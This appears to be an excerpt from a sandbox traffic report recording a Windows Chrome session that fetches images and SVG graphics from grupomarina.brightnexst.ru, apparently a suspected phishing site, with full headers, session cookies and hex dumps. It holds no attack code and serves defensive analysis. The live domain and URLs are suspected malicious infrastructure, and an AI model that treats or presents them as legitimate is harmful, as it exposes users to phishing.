2025-03-17 20:55:16 UTC	1454	OUT	GET /opxSwtQgKAp3oNRo2XIhbcuyRLwKRd5xRghLW2MjECbAoN6NrGkr67139 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:16 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:16 GMT Content-Type: image/webp Content-Length: 892 Connection: close Server: cloudflare Content-Disposition: inline; filename="opxSwtQgKAp3oNRo2XIhbcuyRLwKRd5xRghLW2MjECbAoN6NrGkr67139" Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FnGf3ZJv9Y%2Fnwh2iKjnSH4RUaz5g%2BJN9gT%2BeZnQ%2BrmZcK82SNhMbAK%2Fjjiy5LutAyYrNSUBU72Kov8vRW2xmQ06NgOVl3tWHHU4RWPdfUU89Cy0gLTnyLlFFnWx7"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=1412&min_rtt=1343&rtt_var=448&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2364&delivery_rate=1841068&cwnd=251&unsent_bytes=0&cid=fd42f2966a4a1e8e&ts=81&x=0" CF-RAY: 921f63e55a1fddb6-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 20:55:16 UTC	510	IN	Data Raw: 52 49 46 46 74 03 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 2f 00 00 2f 00 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFFtWEBPVP8X0//ICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-17 20:55:16 UTC	382	IN	Data Raw: 83 48 c0 41 bf 29 18 55 10 a2 80 d6 41 a3 a0 43 01 75 40 ab 20 89 82 11 07 4c c1 90 80 83 9e 0b 1f 3b ff 8b 08 05 92 24 33 7b 32 7b 2e f0 09 fc 33 a4 a1 56 36 08 69 de 57 c2 46 df 68 a2 e6 65 65 5e 6b ac 3a c0 cf 63 6c 88 5a da aa 65 62 d7 01 c9 04 00 29 84 49 5a 1a 9e b9 c5 21 ac 1f 18 b1 3b 58 e5 3a 26 03 a9 7f 68 46 30 83 a4 1d 6b 4d c3 00 e4 d0 fb 8b 21 57 35 eb 61 6b 38 90 08 1e 18 80 ed bd f7 23 56 8a 73 a9 86 cf 9b 32 b5 ed c4 99 60 06 b0 76 e9 e2 fb 7d a7 28 30 20 70 b5 c9 2f 73 c6 27 56 53 60 53 6a 58 88 42 c4 2c 08 b1 98 76 d5 23 a5 2f 49 15 07 ef 0b 7d c8 62 01 8a 8c e9 5e 2a 31 e6 d0 6b e5 3a 46 39 68 67 62 ee 48 67 57 96 51 5e a5 72 7d dd d2 59 35 98 fd bd 06 27 9e 4a 4a ce 8b a5 95 8e 26 ef 1b 22 5d 3c cc ba 4d 96 5a 29 6f df 48 9d cd 5d bf Data Ascii: HA)UACu@ L;$3{2{.3V6iWFhee^k:clZeb)IZ!;X:&hF0kM!W5ak8#Vs2`v}(0 p/s'VS`SjXB,v#/I}b^*1k:F9hgbHgWQ^r}Y5'JJ&"]<MZ)oH]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49756	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:16 UTC	1176	OUT	GET /mn7axJgNsfJZOnXe9HMLiMbkijOyTcCkXpGKdJddrqJTO29kXFFoLgmgRouv220 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:16 UTC	1110	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:16 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mn7axJgNsfJZOnXe9HMLiMbkijOyTcCkXpGKdJddrqJTO29kXFFoLgmgRouv220" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3e1xELgmG58LmbR0DRog9EtFbXwg2HVfy4qLoV4YesrPjkplRZ2QnG2PwF%2FtEZ1Vipj7SVwTDBf%2FBk%2BaalFcNctwAXonAdZKVumyQ5C%2B4AqH1JQxskJS6CBBSEm7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4058&min_rtt=3912&rtt_var=1571&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2085&delivery_rate=740286&cwnd=243&unsent_bytes=0&cid=cbe6d5efb696f020&ts=75&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921f63e5ca8472a7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1825&min_rtt=1814&rtt_var=702&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1748&delivery_rate=1534419&cwnd=159&unsent_bytes=0&cid=3058b09b7e267259&ts=417&x=0"
2025-03-17 20:55:16 UTC	259	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2025-03-17 20:55:16 UTC	1369	IN	Data Raw: 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 41 29 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 39 34 2e 32 20 31 38 31 35 2e 36 63 37 34 36 2e 35 38 20 30 20 31 33 35 31 2e 38 2d 34 39 33 2e 32 20 31 33 35 31 2e 38 2d 31 31 30 31 2e 36 53 31 31 34 30 2e 37 38 2d 33 38 37 2e 36 20 33 39 34 2e 32 2d 33 38 37 2e 36 2d 39 35 37 2e 36 20 31 30 35 2e 36 30 33 2d 39 35 37 2e 36 20 37 31 34 2d 33 35 32 2e 33 38 20 31 38 31 35 2e 36 20 33 39 34 2e 32 20 31 38 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 42 29 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 35 34 38 2e 36 20 31 38 38 35 2e 32 63 36 33 31 2e 39 32 20 30 20 31 31 34 34 2e 32 2d 34 31 37 2e 34 35 20 31 31 34 34 2e 32 2d 39 33 32 2e 34 53 32 31 38 30 2e 35 32 20 32 30 2e 34 20 31 35 34 38 2e 36 20 32 Data Ascii: 6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 2
2025-03-17 20:55:16 UTC	243	IN	Data Raw: 20 31 39 38 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 30 31 37 2e 36 20 31 32 34 39 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 64 38 33 62 30 31 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 2e 37 35 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 63 34 63 34 63 34 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 30 22 2f 3e 3c 2f 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 3e 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 45 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 30 20 30 68 31 39 32 30 76 31 30 38 30 48 30 7a 22 2f 3e 3c 2f 63 6c 69 70 50 61 74 68 3e 3c 2f 64 65 66 73 3e 3c 2f 73 76 67 3e 0d 0a Data Ascii: 198) rotate(90) scale(1017.6 1249.8)"><stop stop-color="#d83b01" stop-opacity=".75"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><clipPath id="E"><path fill="#fff" d="M0 0h1920v1080H0z"/></clipPath></defs></svg>
2025-03-17 20:55:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49757	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:16 UTC	1447	OUT	GET /mnDozZ86DfeH93KodasaV6JijAz0XdnqsnPjlpZlIO7O290148 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:16 UTC	1100	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:16 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mnDozZ86DfeH93KodasaV6JijAz0XdnqsnPjlpZlIO7O290148" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wbdWGVKBY%2BHr%2BCOD5O7Lqn2MITTLAYpvTh6enS6xBNG%2FVxVOGdmVZ4eeepdRNGFia56rjOyYL%2BjO02gGq18d60AkPBAh4xuYMk%2FVzpfPLzEH0fdHKeBFMT%2F8lxJ4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4286&min_rtt=3776&rtt_var=1947&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2358&delivery_rate=485580&cwnd=251&unsent_bytes=0&cid=deb3fbaa60ccda4d&ts=79&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921f63e6dffbc52b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2362&min_rtt=2346&rtt_var=913&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=2019&delivery_rate=1176944&cwnd=67&unsent_bytes=0&cid=f3c54fe4709b599b&ts=557&x=0"
2025-03-17 20:55:16 UTC	269	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2025-03-17 20:55:16 UTC	8	IN	Data Raw: 3c 2f 73 76 67 3e 0d 0a Data Ascii: </svg>
2025-03-17 20:55:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49758	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:16 UTC	1450	OUT	GET /ijbHPlXv32ebWvACIZbLFotR2xA3cdeNQ7GgeJq4gGCcuhx678168 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:16 UTC	890	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:16 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Server: cloudflare Content-Disposition: inline; filename="ijbHPlXv32ebWvACIZbLFotR2xA3cdeNQ7GgeJq4gGCcuhx678168" Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kDRG48ZXYcyAG9FZZdghk%2BT%2BHw%2BKcAii8KmMkNRZf8zdiDKtR2fb%2FK4hmFWBl5znsksaJk6qcHmdXKIahn5%2FIdx4Y7zeEbgzVY%2FEAhQIPYPdzdaODHdDoZXcZZyc"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: accept-encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=5495&min_rtt=4795&rtt_var=1967&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2360&delivery_rate=600705&cwnd=251&unsent_bytes=0&cid=d10afdc5c2ce30d4&ts=88&x=0" CF-RAY: 921f63e6d83c8172-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 20:55:16 UTC	1369	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
2025-03-17 20:55:16 UTC	1369	IN	Data Raw: 36 20 33 30 2e 36 31 38 38 20 31 38 2e 37 35 33 31 20 33 30 2e 36 31 38 38 20 32 32 2e 33 35 39 33 5a 22 2f 3e 0d 0a 3c 2f 6d 61 73 6b 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 30 2e 33 33 35 20 31 32 2e 39 39 37 34 43 36 2e 38 39 36 31 34 20 31 34 2e 30 36 34 37 20 34 2e 35 20 31 37 2e 32 32 33 33 20 34 2e 35 20 32 30 2e 39 34 31 32 43 34 2e 35 30 30 31 39 20 32 30 2e 39 36 38 20 34 2e 35 30 30 34 31 20 32 30 2e 39 39 34 39 20 34 2e 35 30 30 36 36 20 32 31 2e 30 32 31 38 43 34 2e 35 30 30 32 32 20 32 31 2e 30 35 37 34 20 34 2e 35 Data Ascii: 6 30.6188 18.7531 30.6188 22.3593Z"/></mask><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5
2025-03-17 20:55:16 UTC	1369	IN	Data Raw: 33 2e 33 32 34 32 4c 31 30 2e 33 33 35 20 31 32 2e 39 39 37 34 5a 4d 34 2e 35 20 32 30 2e 39 34 31 32 48 30 2e 35 56 32 30 2e 39 35 35 33 4c 30 2e 35 30 30 30 39 39 20 32 30 2e 39 36 39 34 4c 34 2e 35 20 32 30 2e 39 34 31 32 5a 4d 34 2e 35 30 30 36 36 20 32 31 2e 30 32 31 38 4c 38 2e 35 30 30 33 35 20 32 31 2e 30 37 31 33 4c 38 2e 35 30 30 38 39 20 32 31 2e 30 32 37 39 4c 38 2e 35 30 30 34 39 20 32 30 2e 39 38 34 35 4c 34 2e 35 30 30 36 36 20 32 31 2e 30 32 31 38 5a 4d 34 2e 35 20 32 31 2e 31 32 38 37 48 30 2e 35 56 32 31 2e 31 34 32 38 4c 30 2e 35 30 30 30 39 39 20 32 31 2e 31 35 36 39 4c 34 2e 35 20 32 31 2e 31 32 38 37 5a 4d 31 38 2e 36 30 39 31 20 34 36 2e 34 39 33 32 4c 32 30 2e 37 32 39 36 20 34 33 2e 31 30 31 35 4c 32 30 2e 37 32 30 35 20 34 33 2e Data Ascii: 3.3242L10.335 12.9974ZM4.5 20.9412H0.5V20.9553L0.500099 20.9694L4.5 20.9412ZM4.50066 21.0218L8.50035 21.0713L8.50089 21.0279L8.50049 20.9845L4.50066 21.0218ZM4.5 21.1287H0.5V21.1428L0.500099 21.1569L4.5 21.1287ZM18.6091 46.4932L20.7296 43.1015L20.7205 43.
2025-03-17 20:55:16 UTC	1369	IN	Data Raw: 20 31 36 2e 38 31 37 36 4c 39 2e 31 34 39 33 31 20 39 2e 31 37 37 31 35 43 34 2e 30 35 36 30 35 20 31 30 2e 37 35 38 20 30 2e 35 20 31 35 2e 34 35 30 38 20 30 2e 35 20 32 30 2e 39 34 31 32 48 38 2e 35 5a 4d 38 2e 35 30 30 34 39 20 32 30 2e 39 38 34 35 43 38 2e 35 30 30 32 36 20 32 30 2e 39 36 30 36 20 38 2e 35 30 30 30 37 20 32 30 2e 39 33 36 38 20 38 2e 34 39 39 39 20 32 30 2e 39 31 33 31 4c 30 2e 35 30 30 30 39 39 20 32 30 2e 39 36 39 34 43 30 2e 35 30 30 33 30 39 20 32 30 2e 39 39 39 33 20 30 2e 35 30 30 35 35 35 20 32 31 2e 30 32 39 32 20 30 2e 35 30 30 38 33 35 20 32 31 2e 30 35 39 32 4c 38 2e 35 30 30 34 39 20 32 30 2e 39 38 34 35 5a 4d 38 2e 35 20 32 31 2e 31 32 38 37 43 38 2e 35 20 32 31 2e 31 30 39 35 20 38 2e 35 30 30 31 32 20 32 31 2e 30 39 30 Data 